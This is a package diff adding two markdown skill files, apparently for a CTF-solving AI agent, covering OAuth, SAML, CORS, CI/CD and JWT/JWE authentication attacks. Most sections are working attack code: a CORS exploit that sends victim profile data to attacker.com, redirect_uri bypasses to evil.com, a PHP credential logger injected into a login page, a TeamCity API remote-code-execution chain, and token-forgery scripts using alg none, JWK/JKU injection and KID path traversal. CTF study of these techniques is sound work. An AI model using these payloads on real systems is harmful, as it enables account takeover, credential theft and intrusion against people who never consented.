ctf-agent 1.2.0

package/skills/ctf-web/auth-infra.md

@@ -0,0 +1,321 @@
+# CTF Web - OAuth, SAML & Infrastructure Auth Attacks
+
+## Table of Contents
+- [OAuth/OIDC Exploitation](#oauthoidc-exploitation)
+  - [Open Redirect Token Theft](#open-redirect-token-theft)
+  - [OIDC ID Token Manipulation](#oidc-id-token-manipulation)
+  - [OAuth State Parameter CSRF](#oauth-state-parameter-csrf)
+- [CORS Misconfiguration](#cors-misconfiguration)
+- [Git History Credential Leakage (Barrier HTB)](#git-history-credential-leakage-barrier-htb)
+- [CI/CD Variable Credential Theft (Barrier HTB)](#cicd-variable-credential-theft-barrier-htb)
+- [Identity Provider API Takeover (Barrier HTB)](#identity-provider-api-takeover-barrier-htb)
+- [SAML SSO Flow Automation (Barrier HTB)](#saml-sso-flow-automation-barrier-htb)
+- [Apache Guacamole Connection Parameter Extraction (Barrier HTB)](#apache-guacamole-connection-parameter-extraction-barrier-htb)
+- [Login Page Poisoning for Credential Harvesting (Watcher HTB)](#login-page-poisoning-for-credential-harvesting-watcher-htb)
+- [TeamCity REST API RCE (Watcher HTB)](#teamcity-rest-api-rce-watcher-htb)
+- [Base64 Decode Leniency and Parameter Override for Signature Bypass (BCTF 2016)](#base64-decode-leniency-and-parameter-override-for-signature-bypass-bctf-2016)
+- [Hash Length Extension Attack (ASIS CTF 2017)](#hash-length-extension-attack-asis-ctf-2017)
+
+For JWT/JWE token attacks, see [auth-jwt.md](auth-jwt.md). For general auth bypass and access control, see [auth-and-access.md](auth-and-access.md).
+
+---
+
+## OAuth/OIDC Exploitation
+
+### Open Redirect Token Theft
+```python
+# OAuth authorization with redirect_uri manipulation
+# If redirect_uri validation is weak, steal tokens via open redirect
+import requests
+
+# Step 1: Craft malicious authorization URL
+auth_url = "https://target.com/oauth/authorize"
+params = {
+    "client_id": "legitimate_client",
+    "redirect_uri": "https://target.com/callback/../@attacker.com",  # path traversal
+    "response_type": "code",
+    "scope": "openid profile"
+}
+# Victim clicks → auth code sent to attacker's server
+
+# Common redirect_uri bypasses:
+# https://target.com/callback?next=https://evil.com
+# https://target.com/callback/../@evil.com
+# https://target.com/callback%23@evil.com  (fragment)
+# https://target.com/callback/.evil.com
+# https://target.com.evil.com  (subdomain)
+```
+
+### OIDC ID Token Manipulation
+```python
+# If server accepts unsigned tokens (alg: none)
+import jwt, json, base64
+
+token = "eyJ..."  # captured ID token
+header, payload, sig = token.split(".")
+# Decode and modify
+payload_data = json.loads(base64.urlsafe_b64decode(payload + "=="))
+payload_data["sub"] = "admin"
+payload_data["email"] = "admin@target.com"
+
+# Re-encode with alg:none
+new_header = base64.urlsafe_b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()).rstrip(b"=")
+new_payload = base64.urlsafe_b64encode(json.dumps(payload_data).encode()).rstrip(b"=")
+forged = f"{new_header.decode()}.{new_payload.decode()}."
+```
+
+### OAuth State Parameter CSRF
+```python
+# Missing or predictable state parameter allows CSRF
+# Attacker initiates OAuth flow, captures callback URL with auth code
+# Sends callback URL to victim → victim's session linked to attacker's OAuth account
+
+# Detection: Check if state parameter is:
+# 1. Present in authorization request
+# 2. Validated on callback
+# 3. Bound to user session (not just random)
+```
+
+**Key insight:** OAuth/OIDC (OpenID Connect) attacks typically target redirect_uri validation (open redirect → token theft), token manipulation (alg:none, JWKS injection), or state parameter CSRF. Always test redirect_uri with path traversal, fragment injection, and subdomain tricks.
+
+---
+
+## CORS Misconfiguration
+
+```python
+# Test for reflected Origin
+import requests
+
+targets = [
+    "https://evil.com",
+    "https://target.com.evil.com",
+    "null",
+    "https://target.com%60.evil.com",
+]
+
+for origin in targets:
+    r = requests.get("https://target.com/api/sensitive",
+                     headers={"Origin": origin})
+    acao = r.headers.get("Access-Control-Allow-Origin", "")
+    acac = r.headers.get("Access-Control-Allow-Credentials", "")
+    if origin in acao or acao == "*":
+        print(f"[!] Reflected: {origin} -> ACAO: {acao}, ACAC: {acac}")
+```
+
+```javascript
+// Exploit: steal data via CORS misconfiguration
+// Host on attacker server, victim visits this page
+fetch('https://target.com/api/user/profile', {
+    credentials: 'include'
+}).then(r => r.json()).then(data => {
+    fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(data)));
+});
+```
+
+**Key insight:** CORS (Cross-Origin Resource Sharing) is exploitable when `Access-Control-Allow-Origin` reflects the `Origin` header AND `Access-Control-Allow-Credentials: true`. Check for subdomain matching (`*.target.com` accepts `evil-target.com`), null origin acceptance (`sandbox` iframe), and prefix/suffix matching bugs.
+
+---
+
+## Git History Credential Leakage (Barrier HTB)
+
+Secrets removed in later commits remain in git history. Search the full diff history for deleted credentials:
+```bash
+git log --all --oneline
+git show <first_commit>
+# Search all history for a keyword across all branches:
+git log -p --all -S "password"
+```
+
+**Key insight:** `git log -p --all -S "keyword"` searches every commit diff for any string, including deleted secrets. Always check first commits and removed files.
+
+---
+
+## CI/CD Variable Credential Theft (Barrier HTB)
+
+CI/CD (Continuous Integration/Continuous Deployment) variable settings store secrets (API tokens, passwords) readable by project admins. These are often admin-level tokens for connected services (authentik, Vault, AWS).
+```bash
+# GitLab: Settings -> CI/CD -> Variables (visible to project admins)
+# GitHub: Settings -> Secrets and variables -> Actions
+# Jenkins: Manage Jenkins -> Credentials
+```
+
+**Key insight:** CI/CD variables frequently contain service account tokens with elevated privileges. A GitLab project admin can read all CI/CD variables, which may include tokens for identity providers, secret stores, or cloud platforms.
+
+---
+
+## Identity Provider API Takeover (Barrier HTB)
+
+Exploits an admin API token for identity providers (authentik, Keycloak, Okta) to take over any user account.
+
+**Attack chain:**
+1. Enumerate users: `GET /api/v3/core/users/`
+2. Set target user's password: `POST /api/v3/core/users/{pk}/set_password/`
+3. Check authentication flow stages — if MFA (Multi-Factor Authentication) has `not_configured_action: skip`, it auto-skips when no MFA devices are configured
+4. Authenticate through flow step-by-step (GET to start stage, POST to submit, follow 302s)
+
+**Key insight:** Identity provider admin tokens are the keys to the kingdom. If MFA stages have `not_configured_action: skip`, setting a user's password is sufficient for full account takeover — no MFA bypass needed.
+
+---
+
+## SAML SSO Flow Automation (Barrier HTB)
+
+Automates SAML (Security Assertion Markup Language) SSO login for services like Guacamole or internal apps when you control IdP (Identity Provider) credentials.
+
+**Steps:**
+1. Start login flow at the service — capture `SAMLRequest` + `RelayState` from the redirect
+2. Authenticate with IdP (via API or session)
+3. Submit IdP's signed `SAMLResponse` + original `RelayState` to service callback
+4. Extract auth token from state parameter redirect
+
+**Key insight:** Preserve `RelayState` through the entire flow — it correlates the callback with the login request. Mismatched `RelayState` causes authentication failure even with a valid `SAMLResponse`.
+
+---
+
+## Apache Guacamole Connection Parameter Extraction (Barrier HTB)
+
+Apache Guacamole stores SSH keys, passwords, and connection details in MySQL. Extract them with DB access or an authenticated API token:
+```bash
+# Via API with auth token
+curl "http://TARGET:8080/guacamole/api/session/data/mysql/connections/1/parameters?token=$TOKEN"
+# Returns: hostname, port, username, private-key, passphrase
+```
+
+```sql
+-- Via MySQL directly
+SELECT c.connection_name, cp.parameter_name, cp.parameter_value
+FROM guacamole_connection c
+JOIN guacamole_connection_parameter cp ON c.connection_id = cp.connection_id;
+```
+
+**Key insight:** Guacamole connection parameters contain plaintext SSH private keys and passphrases. A single API token or database access exposes credentials for every managed host.
+
+---
+
+## Login Page Poisoning for Credential Harvesting (Watcher HTB)
+
+Injects a credential logger into the web app login page to capture plaintext passwords:
+```php
+// Add after successful login check in index.php:
+$f = fopen('/dev/shm/creds.txt', 'a+');
+fputs($f, "{$_POST['name']}:{$_POST['password']}\n");
+fclose($f);
+```
+
+Wait for automated logins (bots, cron scripts). Check audit logs for frequently-logging-in users — they likely have hardcoded credentials you can harvest.
+
+**Key insight:** `/dev/shm/` is a tmpfs mount writable by any user and invisible to most monitoring. Automated services (backup scripts, health checks) often authenticate with elevated credentials on predictable schedules.
+
+---
+
+## TeamCity REST API RCE (Watcher HTB)
+
+Exploits TeamCity admin credentials to achieve RCE (Remote Code Execution) through build step injection:
+```bash
+# 1. Create project
+curl -X POST 'http://HOST:8111/httpAuth/app/rest/projects' \
+  -u 'USER:PASS' -H 'Content-Type: application/xml' \
+  -d '<newProjectDescription name="pwn" id="pwn"><parentProject locator="id:_Root"/></newProjectDescription>'
+
+# 2. Create build config
+curl -X POST 'http://HOST:8111/httpAuth/app/rest/projects/pwn/buildTypes' \
+  -u 'USER:PASS' -H 'Content-Type: application/xml' \
+  -d '<newBuildTypeDescription name="rce" id="rce"><project id="pwn"/></newBuildTypeDescription>'
+
+# 3. Add command-line build step
+curl -X POST 'http://HOST:8111/httpAuth/app/rest/buildTypes/id:rce/steps' \
+  -u 'USER:PASS' -H 'Content-Type: application/xml' \
+  -d '<step name="cmd" type="simpleRunner"><properties>
+    <property name="script.content" value="cat /root/root.txt"/>
+    <property name="use.custom.script" value="true"/>
+  </properties></step>'
+
+# 4. Trigger build
+curl -X POST 'http://HOST:8111/httpAuth/app/rest/buildQueue' \
+  -u 'USER:PASS' -H 'Content-Type: application/xml' \
+  -d '<build><buildType id="rce"/></build>'
+
+# 5. Read build log for output
+curl 'http://HOST:8111/httpAuth/downloadBuildLog.html?buildId=ID' -u 'USER:PASS'
+```
+
+**Key insight:** If build agent runs as root, all build steps execute as root. Check `ps aux` for build agent process ownership. TeamCity REST API provides full project/build management — admin credentials = RCE.
+
+---
+
+## Base64 Decode Leniency and Parameter Override for Signature Bypass (BCTF 2016)
+
+Server RSA-signs an order string, then parses `&`-separated parameters. Python's `b64decode()` silently ignores non-base64 characters. Appending `&price=0` after the base64 signature exploits both behaviors:
+
+```python
+# Original signed order: "item=widget&price=100"
+# Server returns: base64(RSA_sign(order)) as signature
+
+# Attack: append &price=0 after the signature
+# b64decode("VALID_SIG_BASE64&price=0") silently ignores "&price=0"
+# But the parameter parser sees: item=widget&price=100&price=0
+# Last value wins: price=0
+```
+
+**Key insight:** Gap between what is signed (pre-signature content) and what is parsed (full string including post-signature data), enabled by base64's tolerance for non-alphabet characters. Any system that concatenates signed data with unsigned parameters and uses lenient base64 decoding is vulnerable. Defense: validate signature over the exact bytes being parsed, not a subset.
+
+---
+
+## Hash Length Extension Attack (ASIS CTF 2017)
+
+*See also [ctf-crypto/modern-ciphers-2.md — Hash Length Extension Attack (PlaidCTF 2014)](../ctf-crypto/modern-ciphers-2.md#hash-length-extension-attack-plaidctf-2014) for the canonical crypto writeup of the same primitive.*
+
+**Pattern:** Merkle-Damgård hash functions (MD5, SHA-1, SHA-256) used as `MAC = H(secret || message)` are vulnerable to length extension. Given `H(secret || message)` and the length of `secret`, an attacker can compute `H(secret || message || padding || extension)` without knowing the secret. The internal hash state at the end of the original digest is sufficient to continue hashing.
+
+```python
+# Vulnerable MAC construction:
+import hashlib
+mac = hashlib.sha256(secret + message).hexdigest()
+# Server sends: mac + message to client, verifies by recomputing H(secret || message)
+
+# Attack: extend the message without knowing the secret
+# hashpumpy does the heavy lifting:
+import hashpumpy
+
+original_mac = "a1b2c3..."     # known hash
+original_msg = b"user=alice"   # known message
+secret_len   = 16              # known or brute-forced (try 1-100)
+extension    = b"&admin=true"  # data to append
+
+new_mac, new_msg = hashpumpy.hashpump(
+    original_mac,   # original hexdigest
+    original_msg,   # original data (without secret)
+    extension,      # data to append
+    secret_len      # secret length
+)
+
+# new_msg = original_msg + padding + extension
+# new_mac = valid H(secret || new_msg) without knowing secret
+```
+
+```bash
+# Alternative: hash_extender tool
+hash_extender \
+    --data "user=alice" \
+    --secret-min 1 --secret-max 50 \
+    --append "&admin=true" \
+    --signature "a1b2c3..." \
+    --format sha256
+
+# Or: manual Python with hashpumpy, brute-force secret length
+for length in range(1, 101):
+    new_mac, new_msg = hashpumpy.hashpump(orig_mac, orig_msg, extension, length)
+    r = requests.get(url, params={"data": new_msg.hex(), "mac": new_mac})
+    if "success" in r.text:
+        print(f"Secret length: {length}, Flag: {r.text}")
+        break
+```
+
+**Padding structure:** Between the original message and the extension, the hash algorithm inserts its standard padding:
+```text
+original_msg || 0x80 || 0x00...0x00 || length_in_bits (8 bytes big-endian)
+```
+This padding is part of `new_msg` — the server will verify it as-is.
+
+**Vulnerable algorithms:** MD5, SHA-1, SHA-224, SHA-256, SHA-384, SHA-512 (all Merkle-Damgård). **Not vulnerable:** HMAC (uses two separate hash passes), SHA-3/Keccak (sponge construction), BLAKE2/3.
+
+**Key insight:** Any Merkle-Damgård hash used as `H(secret || data)` without HMAC construction leaks internal state at the message boundary, enabling arbitrary message extension. Use `hashpumpy` or `hash_extender`. If the secret length is unknown, brute-force it (1-100 is a reasonable range for CTFs) — the valid extension will produce a server-accepted MAC.

package/skills/ctf-web/auth-jwt.md

@@ -0,0 +1,186 @@
+# CTF Web - JWT & JWE Token Attacks
+
+## Table of Contents
+- [Algorithm None](#algorithm-none)
+- [Algorithm Confusion (RS256 to HS256)](#algorithm-confusion-rs256-to-hs256)
+- [Weak Secret Brute-Force](#weak-secret-brute-force)
+- [Unverified Signature (Crypto-Cat)](#unverified-signature-crypto-cat)
+- [JWK Header Injection (Crypto-Cat)](#jwk-header-injection-crypto-cat)
+- [JKU Header Injection (Crypto-Cat)](#jku-header-injection-crypto-cat)
+- [KID Path Traversal (Crypto-Cat)](#kid-path-traversal-crypto-cat)
+- [JWT Balance Replay (MetaShop Pattern)](#jwt-balance-replay-metashop-pattern)
+- [JWE Token Forgery with Exposed Public Key (UTCTF 2026)](#jwe-token-forgery-with-exposed-public-key-utctf-2026)
+- [AES Cookie Length-Field Truncation + CRC32 Swap (DefCamp 2018)](#aes-cookie-length-field-truncation--crc32-swap-defcamp-2018)
+
+For general auth bypass, access control, and session attacks, see [auth-and-access.md](auth-and-access.md). For OAuth/OIDC, SAML, CI/CD credential theft, and infrastructure auth attacks, see [auth-infra.md](auth-infra.md).
+
+---
+
+## Algorithm None
+Remove signature, set `"alg": "none"` in header.
+
+## Algorithm Confusion (RS256 to HS256)
+App accepts both RS256 and HS256, uses public key for both:
+```javascript
+const jwt = require('jsonwebtoken');
+const publicKey = '-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----';
+const token = jwt.sign({ username: 'admin' }, publicKey, { algorithm: 'HS256' });
+```
+
+## Weak Secret Brute-Force
+```bash
+flask-unsign --decode --cookie "eyJ..."
+hashcat -m 16500 jwt.txt wordlist.txt
+```
+
+## Unverified Signature (Crypto-Cat)
+Server decodes JWT without verifying the signature. Modify payload claims and re-encode with the original (unchecked) signature:
+```python
+import jwt, base64, json
+
+token = "eyJ..."
+parts = token.split('.')
+payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
+payload['sub'] = 'administrator'
+new_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
+forged = f"{parts[0]}.{new_payload}.{parts[2]}"
+```
+**Key insight:** Some JWT libraries have separate `decode()` (no verification) and `verify()` functions. If the server uses `decode()` only, the signature is never checked.
+
+## JWK Header Injection (Crypto-Cat)
+Server accepts JWK (JSON Web Key) embedded in JWT header without validation. Sign with attacker-generated RSA key, embed matching public key:
+```python
+from cryptography.hazmat.primitives.asymmetric import rsa
+from cryptography.hazmat.backends import default_backend
+import jwt, base64
+
+private_key = rsa.generate_private_key(65537, 2048, default_backend())
+public_numbers = private_key.public_key().public_numbers()
+
+jwk = {
+    "kty": "RSA",
+    "kid": original_header['kid'],
+    "e": base64.urlsafe_b64encode(public_numbers.e.to_bytes(3, 'big')).rstrip(b'=').decode(),
+    "n": base64.urlsafe_b64encode(public_numbers.n.to_bytes(256, 'big')).rstrip(b'=').decode()
+}
+forged = jwt.encode({"sub": "administrator"}, private_key, algorithm='RS256', headers={'jwk': jwk})
+```
+**Key insight:** Server extracts the public key from the token itself instead of using a stored key. Attacker controls both the key and the signature.
+
+## JKU Header Injection (Crypto-Cat)
+Server fetches public key from URL specified in JKU (JSON Key URL) header without URL validation:
+```python
+# 1. Host JWKS at attacker-controlled URL
+jwks = {"keys": [attacker_jwk]}  # POST to webhook.site or attacker server
+
+# 2. Forge token pointing to attacker JWKS
+forged = jwt.encode(
+    {"sub": "administrator"},
+    attacker_private_key,
+    algorithm='RS256',
+    headers={'jku': 'https://attacker.com/.well-known/jwks.json'}
+)
+```
+**Key insight:** Combines SSRF with token forgery. Server makes an outbound request to fetch the key, trusting whatever URL the token specifies.
+
+## KID Path Traversal (Crypto-Cat)
+KID (Key ID) header used in file path construction for key lookup. Point to predictable file:
+```python
+# /dev/null returns empty bytes -> HMAC key is empty string
+forged = jwt.encode(
+    {"sub": "administrator"},
+    '',  # Empty string as secret
+    algorithm='HS256',
+    headers={"kid": "../../../dev/null"}
+)
+```
+**Variants:**
+- `../../../dev/null` → empty key
+- `../../../proc/sys/kernel/hostname` → predictable key content
+- SQL injection in KID: `' UNION SELECT 'known-secret' --` (if KID queries a database)
+
+**Key insight:** KID is meant to select which key to use for verification. When used in file paths or SQL queries without sanitization, it becomes an injection vector.
+
+## JWT Balance Replay (MetaShop Pattern)
+1. Sign up → get JWT with balance=$100 (save this JWT)
+2. Buy items → balance drops to $0
+3. Replace cookie with saved JWT (balance back to $100)
+4. Return all items → server adds prices to JWT's $100 balance
+5. Repeat until balance exceeds target price
+
+**Key insight:** Server trusts the balance in the JWT for return calculations but doesn't cross-check purchase history.
+
+## JWE Token Forgery with Exposed Public Key (UTCTF 2026)
+
+**Pattern (Break the Bank):** Application uses JWE (JSON Web Encryption) tokens instead of JWT. Public RSA key is exposed (e.g., via `/api/key`, `.well-known/jwks.json`, or in page source). Server decrypts JWE tokens with its private key — attacker encrypts forged claims with the public key.
+
+**Key difference from JWT:** JWE tokens are **encrypted** (confidential), not just signed. The server decrypts them. If you have the public key, you can encrypt arbitrary claims that the server will trust.
+
+```python
+from jwcrypto import jwk, jwe
+import json
+
+# 1. Fetch the server's public key
+# GET /api/key or extract from JWKS endpoint
+public_key_pem = """-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkq...
+-----END PUBLIC KEY-----"""
+
+# 2. Create JWK from public key
+key = jwk.JWK.from_pem(public_key_pem.encode())
+
+# 3. Forge claims (e.g., set balance to 999999)
+forged_claims = {
+    "sub": "attacker",
+    "balance": 999999,
+    "role": "admin"
+}
+
+# 4. Encrypt with server's public key
+token = jwe.JWE(
+    json.dumps(forged_claims).encode(),
+    recipient=key,
+    protected=json.dumps({
+        "alg": "RSA-OAEP-256",  # or RSA-OAEP, RSA1_5
+        "enc": "A256GCM"         # or A128CBC-HS256
+    })
+)
+forged_jwe = token.serialize(compact=True)
+# 5. Send forged token as cookie/header
+```
+
+**Detection:** Token has 5 base64url segments separated by dots (JWE compact format: header.enckey.iv.ciphertext.tag) vs. JWT's 3 segments. Endpoints that expose RSA public keys.
+
+**Key insight:** JWE encryption ≠ authentication. If the server trusts any token it can decrypt without additional signature verification, exposing the public key lets you forge arbitrary claims. Look for public key endpoints and try encrypting modified payloads.
+
+---
+
+## AES Cookie Length-Field Truncation + CRC32 Swap (DefCamp 2018)
+
+**Pattern:** A session cookie has the shape `AES(key¡value÷...¡)+<len>+<CRC32>`. The application parses the decrypted blob up to `<len>` bytes and trusts a CRC32 checksum for integrity. During registration the attacker controls the plaintext: embed `id¡1¡` early in the username, shorten `<len>` to truncate at that point, and recompute the CRC32 over the shortened payload. The deserializer now sees `id=1` (admin) and the CRC32 check still passes because CRC32 is not a MAC.
+
+```python
+import struct, zlib, requests, base64
+
+# 1. Register with a username that embeds the target field early.
+#    The challenge stores fields as key\xa1value\xf7, AES-encrypts them,
+#    then appends a 2-byte length and a 4-byte CRC32.
+payload_fields = b"name\xa1attacker\xf7id\xa11\xf7role\xa1user\xf7"
+# 2. Grab the encrypted cookie the server set.
+sess = requests.Session()
+sess.post("http://target/register",
+          data={"user": "attacker", "pass": "x", "payload": payload_fields})
+cookie = base64.b64decode(sess.cookies["session"])
+ct, rest = cookie[:-6], cookie[-6:]          # split off length + CRC32
+# 3. Truncate: keep only bytes up to and including "id\xa11\xf7"
+truncated_plain = b"name\xa1attacker\xf7id\xa11\xf7"
+new_len = struct.pack("<H", len(truncated_plain))
+new_crc = struct.pack("<I", zlib.crc32(ct[: len(truncated_plain)]))
+forged = base64.b64encode(ct[: len(truncated_plain)] + new_len + new_crc)
+sess.cookies["session"] = forged.decode()
+print(sess.get("http://target/admin").text)
+```
+
+**Key insight:** CRC32 is a checksum, not a message authentication code — it is linear, so flipping any bit in the ciphertext and recomputing the CRC yields a still-"valid" cookie. Combined with a length field that tells the parser how many bytes to decode, the attacker can truncate (or extend) the plaintext at any point. Audit cookies that decrypt to a length-prefixed payload and watch for the signature algorithm: if it is `crc32`, `adler32`, `md5`, or anything that is not an HMAC/AEAD, assume forgery.
+
+**References:** DefCamp CTF Qualification 2018 — Get Admin, writeup 11430